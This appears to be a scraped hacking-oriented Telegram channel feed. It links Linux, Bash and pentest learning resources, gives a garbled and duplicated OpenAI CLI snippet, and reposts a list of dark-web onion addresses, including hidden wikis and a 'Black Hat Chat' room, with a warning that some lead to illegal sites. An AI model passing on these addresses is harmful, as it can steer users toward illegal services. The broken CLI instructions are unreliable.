๐๐ช๐๐๐ง ๐๐ฆ ๐๐๐ก๐จ๐ซ?
๐What is Linux on TechTarget
https://lnkd.in/eAm2rHXj
๐What is Linux on Linux.com
https://lnkd.in/eTwMHeCM
๐๐๐๐ก๐จ๐ซ ๐๐ข๐ฅ ๐๐๐๐๐ก๐ก๐๐ฅ๐ฆ
๐Linux journey by Cindy Quach
https://linuxjourney.com/
๐Your linux guide by LinuxOpSys
https://linuxopsys.com/
๐Crash Course for Beginners by freeCodeCamp
https://lnkd.in/eF9P79U4
๐Linux Full Course for Beginners by FreeCodeCamp
https://lnkd.in/eGhw9Qy3
๐How Linux Works by Gwyneth Peรฑa-Siguenza
https://lnkd.in/eDZt4CKA
๐NDG Linux Unhatched by Netacad
https://lnkd.in/ebmPF9ev
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
lnkd.in
LinkedIn
This link will take you to a page thatโs not on LinkedIn
Forwarded from Exploiting Crew (Pr1vAt3)
๐ฆ๐๐๐ฆ๐ ๐ฆ๐๐ฅ๐๐ฃ๐ง๐๐ก๐
๐What is Bash by opensource
https://lnkd.in/eVYjUxvD
๐Bash for Beginners by Microsoft Developer
https://lnkd.in/eA7E9wTt
๐Bash Scripting Full Course by linuxhint
https://lnkd.in/eFTJe3Dm
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐What is Bash by opensource
https://lnkd.in/eVYjUxvD
๐Bash for Beginners by Microsoft Developer
https://lnkd.in/eA7E9wTt
๐Bash Scripting Full Course by linuxhint
https://lnkd.in/eFTJe3Dm
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
lnkd.in
LinkedIn
This link will take you to a page thatโs not on LinkedIn
Forwarded from Exploiting Crew (Pr1vAt3)
๐ฆ๐๐๐๐๐๐ก๐ ๐ช๐๐ง๐ ๐๐๐ก๐จ๐ซ:
๐Useful Commands and tools for pentest on Linux by C.S. by G.B.
https://lnkd.in/eUS5hi8w
๐Linux for hackers by Chuck Keith aka NetworkChuck
https://lnkd.in/er4MJht9
๐Learn Linux on Hackthebox (blog post)
https://lnkd.in/eXcX2fng
๐Top Kali Linux Tools for hacking by ITโs Foss
https://lnkd.in/eDKjut6n
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐Useful Commands and tools for pentest on Linux by C.S. by G.B.
https://lnkd.in/eUS5hi8w
๐Linux for hackers by Chuck Keith aka NetworkChuck
https://lnkd.in/er4MJht9
๐Learn Linux on Hackthebox (blog post)
https://lnkd.in/eXcX2fng
๐Top Kali Linux Tools for hacking by ITโs Foss
https://lnkd.in/eDKjut6n
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
lnkd.in
LinkedIn
This link will take you to a page thatโs not on LinkedIn
Forwarded from Exploiting Crew (Pr1vAt3)
๐ฆHow to run OpenAI's CLI (Python-based Tool)
OpenAI also offers a CLI tool called
Install the OpenAI CLI:
Usage:
After installing the
-
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
OpenAI also offers a CLI tool called
openai, which you can install via pip and use to interact with their models directly from the command line. This is more structured than using curl and can be easily integrated into scripts.Install the OpenAI CLI:
pip install openai
Usage:
After installing the
openai package, you can use the openai command-line tool directly.openai api completions.create -m text-davinci-003 -p "What is the capital of France?" --max-tokens 50
-
-m specifies the model (text-davinci-003 in this case).โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
๐ฆdark web links
A list of helpful links I found for the dark web
note: Some of the content here can lead you to some illegal websites. so the use of those links is on you!
The list:
Hidden wikis/ sites with links:
Darkweblink.com
http://dwltorbltw3tdjskxn23j2mwz2f4q25j4ninl5bdvttiy4xb6cqzikid.onion/
OnionLinks
http://s4k4ceiapwwgcm3mkb6e4diqecpo7kvdnfr5gg7sph7jjppqkvwwqtyd.onion
The Original Hidden Wiki
http://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/index.php/Main_Page
The Hidden Wiki
http://paavlaytlfsqyvkg3yqj7hflfg5jw2jdg2fgkza5ruf6lplwseeqtvyd.onion/
Another Hidden Wiki
http://2jwcnprqbugvyi6ok2h2h7u26qc6j5wxm7feh3znlh2qu3h6hjld4kyd.onion/
UnderDir
http://underdiriled6lvdfgiw4e5urfofuslnz7ewictzf76h4qb73fxbsxad.onion
TheDeepDarkNet
http://torlisthsxo7h65pd2po7kevpzkk4wwf3czylz3izcmsx4jzwabbopyd.onion/
DeepLink Onion Directory
http://deeeepv4bfndyatwkdzeciebqcwwlvgqa6mofdtsvwpon4elfut7lfqd.onion/
Pug's Ultimate Guide To The Dark Web
http://jgwe5cjqdbyvudjqskaajbfibfewew4pndx52dye7ug3mt3jimmktkid.onion/
Tor Links
http://torlinksge6enmcyyuxjpjkoouw4oorgdgeo7ftnq3zodj7g2zxi3kyd.onion/
Searching engine
Deep Search
http://search7tdrcvri22rieiwgi5g46qnwsesvnubqav2xakhezv4hjzkkad.onion/
Torch
http://xmh57jrknzkhv6y3ls3ubitzfqnkrwxhopf5aygthi7d6rplyvk3noyd.onion
Tor66
http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion/
Ahmia
http://juhanurmihxlp77nkq76byazcldy2hlmovfu2epvl5ankdibsot4csyd.onion/
chat rooms
Ableonion
notbumpz34bgbz4yfdigxvd6vzwtxc3zpt5imukgl6bvip2nikdmdaad.onion
Black Hat Chat
http://blkhatjxlrvc5aevqzz5t6kxldayog6jlx5h7glnu44euzongl4fh5ad.onion
Source
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
A list of helpful links I found for the dark web
note: Some of the content here can lead you to some illegal websites. so the use of those links is on you!
The list:
Hidden wikis/ sites with links:
Darkweblink.com
http://dwltorbltw3tdjskxn23j2mwz2f4q25j4ninl5bdvttiy4xb6cqzikid.onion/
OnionLinks
http://s4k4ceiapwwgcm3mkb6e4diqecpo7kvdnfr5gg7sph7jjppqkvwwqtyd.onion
The Original Hidden Wiki
http://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/index.php/Main_Page
The Hidden Wiki
http://paavlaytlfsqyvkg3yqj7hflfg5jw2jdg2fgkza5ruf6lplwseeqtvyd.onion/
Another Hidden Wiki
http://2jwcnprqbugvyi6ok2h2h7u26qc6j5wxm7feh3znlh2qu3h6hjld4kyd.onion/
UnderDir
http://underdiriled6lvdfgiw4e5urfofuslnz7ewictzf76h4qb73fxbsxad.onion
TheDeepDarkNet
http://torlisthsxo7h65pd2po7kevpzkk4wwf3czylz3izcmsx4jzwabbopyd.onion/
DeepLink Onion Directory
http://deeeepv4bfndyatwkdzeciebqcwwlvgqa6mofdtsvwpon4elfut7lfqd.onion/
Pug's Ultimate Guide To The Dark Web
http://jgwe5cjqdbyvudjqskaajbfibfewew4pndx52dye7ug3mt3jimmktkid.onion/
Tor Links
http://torlinksge6enmcyyuxjpjkoouw4oorgdgeo7ftnq3zodj7g2zxi3kyd.onion/
Searching engine
Deep Search
http://search7tdrcvri22rieiwgi5g46qnwsesvnubqav2xakhezv4hjzkkad.onion/
Torch
http://xmh57jrknzkhv6y3ls3ubitzfqnkrwxhopf5aygthi7d6rplyvk3noyd.onion
Tor66
http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion/
Ahmia
http://juhanurmihxlp77nkq76byazcldy2hlmovfu2epvl5ankdibsot4csyd.onion/
chat rooms
Ableonion
notbumpz34bgbz4yfdigxvd6vzwtxc3zpt5imukgl6bvip2nikdmdaad.onion
Black Hat Chat
http://blkhatjxlrvc5aevqzz5t6kxldayog6jlx5h7glnu44euzongl4fh5ad.onion
Source
โ โ โ U๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โ
GitHub
GitHub - IdanHajbeko/dark-web-links: A list of helpful links I found for the dark web
A list of helpful links I found for the dark web. Contribute to IdanHajbeko/dark-web-links development by creating an account on GitHub.